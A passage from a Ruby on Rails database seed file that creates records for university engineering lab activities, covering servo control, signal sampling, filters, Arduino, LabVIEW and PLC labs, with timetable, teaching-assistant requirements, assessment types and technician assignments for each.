$resit_low.id)\n ActivityGta.where(activity_id: a327.id).first_or_create!(criteria: \"Must have experience of programming microcontrollers devices with C, and a basic working knowledge of electronic circuit construction.\",\n job_desc:\"This is the 1st year group design project. The students will be initially make a strip board circuit, for a PIC micro controller, and mount this to a two wheeled robot. The robot will be programmed, on C, to drive towards a beacon and avoid obstacles in its path.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a327.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a327.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n\n\n a328 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS232\").first.id, code: \"205\").first_or_create!(name: \"Digital Sampling and Reconstruction of Signals\",\n name_abrv: \"SS-Sample\", archived: false, in_drive: false, user_id: 5)\n at328 = ActivityTimetable.where(activity_id: a328.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 90, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a328.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a328.id).first_or_create!(criteria: \"Must have an understanding of discrete signal sampling and reconstruction, and the mathematics used to describe these processes.\",\n job_desc:\"During this session, the students will investigate the effect that sampling of a continuous-time signal has on the resulting signal. Furthermore, they will investigate how filtering of the continuous time signal can overcome some of the issues associated with signal sampling and signal reconstruction.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a328.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a328.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n\n\n a329 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS230\").first.id, code: \"206\").first_or_create!(name: \"Discrete Domain Systems Laboratory\",\n name_abrv: \"DIS-SERVO\", archived: false, in_drive: false, user_id: 2)\n at329 = ActivityTimetable.where(activity_id: a329.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a329.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a329.id).first_or_create!(criteria: \"Understanding of physical systems modeling, the analysis of 1st and 2nd order systems, and z-domain control systems\",\n job_desc:\"This laboratory involves the analysis of control system behavior in the z-domain, when changing sample time and model characteristics\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a329.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a329.id).first_or_create!(cost_per_student: nil, equip_needed: \"Loads\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n\n\n a330 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS230\").first.id, code: \"206\").first_or_create!(name: \"Discrete Control Design\",\n name_abrv: \"Servo-D\", archived: true, in_drive: false, user_id: 3)\n at330 = ActivityTimetable.where(activity_id: a330.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a330.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a330.id).first_or_create!(criteria: \"Understanding of physical systems modelling, the analysis of 1st and 2nd order systems, and z-domain control design\",\n job_desc:\"This laboratory involves designing control system compensators in the z-domain, and implementing them on the hardware system in the laboratory.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a330.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a330.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n\n\n a331 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6101\").first.id, code: \"206\").first_or_create!(name: \"Discrete Domain Control Design\",\n name_abrv: \"SERVO-C\", archived: false, in_drive: false, user_id: 2)\n at331 = ActivityTimetable.where(activity_id: a331.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a331.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a331.id).first_or_create!(criteria: \"Understanding of physical systems modelling, the analysis of 1st and 2nd order systems, and z-domain control design\",\n job_desc:\"This laboratory involved designing control system compensators in the z-domain, and implementing them on the hardware system in the laboratory.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a331.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a331.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n\n\n a332 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS232\").first.id, code: \"207\").first_or_create!(name: \"Filters\",\n name_abrv: \"SS-Filters\", archived: false, in_drive: false, user_id: 2)\n at332 = ActivityTimetable.where(activity_id: a332.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 90, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a332.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a332.id).first_or_create!(criteria: \"Must have a strong mathematical understanding, and be able to describe the frequency response characteristics of filters, as LTI systems.\",\n job_desc:\"During this session, the students will investigate the response of different filter types, and demonstrate how systems exhibit filtering behavior when observing the input and output signals.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a332.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a332.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n\n\n a333 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AMR231\").first.id, code: \"208\").first_or_create!(name: \"First order and second order systems [RCL Circuit]\",\n name_abrv: \"AMR231RCL\", archived: false, in_drive: false, user_id: 1)\n at333 = ActivityTimetable.where(activity_id: a333.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 13, max_week_num: 15, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a333.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a333.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse 1st and 2nd order electrical circuits and compare the simulated responses against measured data\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a333.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a333.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a333.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a334 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS132\").first.id, code: \"209\").first_or_create!(name: \"Frequency Domain Analysis of a Servo System\",\n name_abrv: \"FREQ SERVO\", archived: false, in_drive: false, user_id: 1)\n at334 = ActivityTimetable.where(activity_id: a334.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 8, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a334.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a334.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The Students are required to analyse the a servo system in the frequency domain, and develop a model of the system. The students will observe the effects of applying, in closed loop, P and PI compensation, in closed loop, to the system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a334.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a334.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n\n\n a335 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS1321\").first.id, code: \"209\").first_or_create!(name: \"Frequency Domain Analysis of a Servo System\",\n name_abrv: \"FREQ SERVO\", archived: false, in_drive: false, user_id: 5)\n at335 = ActivityTimetable.where(activity_id: a335.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 8, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a335.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a335.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The Students are required to analyse the a servo system in the frequency domain, and develop a model of the system. The students will observe the effects of applying, in closed loop, P and PI compensation, in closed loop, to the system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a335.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a335.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a335.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a336 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"210\").first_or_create!(name: \"Introduction to Arduino: Simple Digital I/O\",\n name_abrv: \"Ard I/O\", archived: false, in_drive: false, user_id: 5)\n at336 = ActivityTimetable.where(activity_id: a336.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 3, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit will need to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a336.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a336.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"This laboratory involves interfacing digital sensors and actuators to an arduino device\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a336.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a336.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n\n\n a337 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6502\").first.id, code: \"210\").first_or_create!(name: \"Introduction to Arduino: Simple Digital I/O\",\n name_abrv: \"Ard I/O\", archived: false, in_drive: false, user_id: 2)\n at337 = ActivityTimetable.where(activity_id: a337.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 3, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit needs to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a337.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a337.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse a servo system in both the time and frequency domain. From the system model they have developed, a PI controller will be designed and its performance evaluated.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a337.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a337.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n\n\n a338 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS134\").first.id, code: \"211\").first_or_create!(name: \"LabVIEW: Data Acquisition\",\n name_abrv: \"LabVIEW1\", archived: false, in_drive: false, user_id: 3)\n at338 = ActivityTimetable.where(activity_id: a338.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 5, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 90, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a338.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a338.id).first_or_create!(criteria: \"Previous LabVIEW experience Essential\",\n job_desc:\"This laboratory is a basic introduction into LabVIEW programing and data acquisition. GTAs should have basic knowledge of LabVIEW programming.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a338.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a338.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n\n\n a339 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS134\").first.id, code: \"212\").first_or_create!(name: \"LabVIEW: Servo Control Application\",\n name_abrv: \"LabVIEW2\", archived: false, in_drive: false, user_id: 3)\n at339 = ActivityTimetable.where(activity_id: a339.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a339.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a339.id).first_or_create!(criteria: \"Previous LabVIEW experience Essential\",\n job_desc:\"This laboratory is a basic introduction into LabVIEW programing and data acquisition. GTAs should have basic knowledge of LabVIEW programming.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a339.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a339.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n\n\n a340 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS133\").first.id, code: \"213\").first_or_create!(name: \"Modelling and Control of a Hot Air Process Control System\",\n name_abrv: \"HVAC 2\", archived: false, in_drive: false, user_id: 1)\n at340 = ActivityTimetable.where(activity_id: a340.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a340.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a340.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory involves modelling and analysis of the performance characteristics of a 2nd order Mass, Spring, Damper system, in the time domain.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a340.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a340.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n\n\n a341 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS219\").first.id, code: \"213\").first_or_create!(name: \"Modelling and Control of a Hot Air Process Control System\",\n name_abrv: \"CBE-HVAC\", archived: false, in_drive: false, user_id: 1)\n at341 = ActivityTimetable.where(activity_id: a341.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a341.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a341.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory is basic parameter identification of a 1st order system from step response characteristics: Gain, Time Constant and System Delay.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a341.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a341.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a341.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a342 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"214\").first_or_create!(name: \"Multi-servo & closed-loop control (active sensing)\",\n name_abrv: \"Robot - Multi Servo\", archived: false, in_drive: false, user_id: 1)\n at342 = ActivityTimetable.where(activity_id: a342.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 8, max_week_num: 8, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit will need to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a342.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a342.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"During this session, the students will coordinate the motion of multiple servomotors with PWM signals, from an Arduino. They will also, assemble a robot hand and investigate the basics of sensor-motor coordination through a process of grasping a fragile object.\", jobshop_desc: \"\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a342.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a342.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n\n\n a343 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS134\").first.id, code: \"215\").first_or_create!(name: \"PLC1: Basics\",\n name_abrv: \"PLC 1 - Basics\", archived: false, in_drive: false, user_id: 5)\n at343 = ActivityTimetable.where(activity_id: a343.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 4, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a343.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a343.id).first_or_create!(criteria: \"GTAs should have some experience of PLC programming.\",\n job_desc:\"This is a basic introduction into PLC programming on an Allen Bradley PLC.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a343.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a343.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n\n\n a344 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6101\").first.id, code: \"215\").first_or_create!(name: \"PLC1: Basics\",\n name_abrv: \"PLC 1 - Basics\", archived: false, in_drive: false, user_id: 1)\n at344 = ActivityTimetable.where(activity_id: a344.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a344.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a344.id).first_or_create!(criteria: \"GTAs should have some experience of PLC programming.\",\n job_desc:\"This is a basic introduction into PLC programming on an Allen Bradley PLC.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a344.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a344.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n\n\n a345 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS134\").first.id, code: \"216\").first_or_create!(name: \"PLC2: Counters and Timers\",\n name_abrv: \"PLC 2 - C & T\", archived: false, in_drive: false, user_id: 1)\n at345 = ActivityTimetable.where(activity_id: a345.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 5, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a345.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a345.id).first_or_create!(criteria: \"GTAs should have some experience of PLC programming.\",\n job_desc:\"This is an extension of the PLC 1 laboratory, the students will be using counters and timers to perform event driven operations on a manufacturing process control system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a345.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a345.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n\n\n a346 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6101\").first.id, code: \"216\").first_or_create!(name: \"PLC2: Counters and Timers\",\n name_abrv: \"PLC 2 - C & T\", archived: false, in_drive: false, user_id: 1)\n at346 = ActivityTimetable.where(activity_id: a346.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a346.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a346.id).first_or_create!(criteria: \"GTAs should have some experience of PLC programming.\",\n job_desc:\"This is an extension of the PLC 1 laboratory, the students will be using counters and timers to perform event driven operations on a manufacturing process control system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, 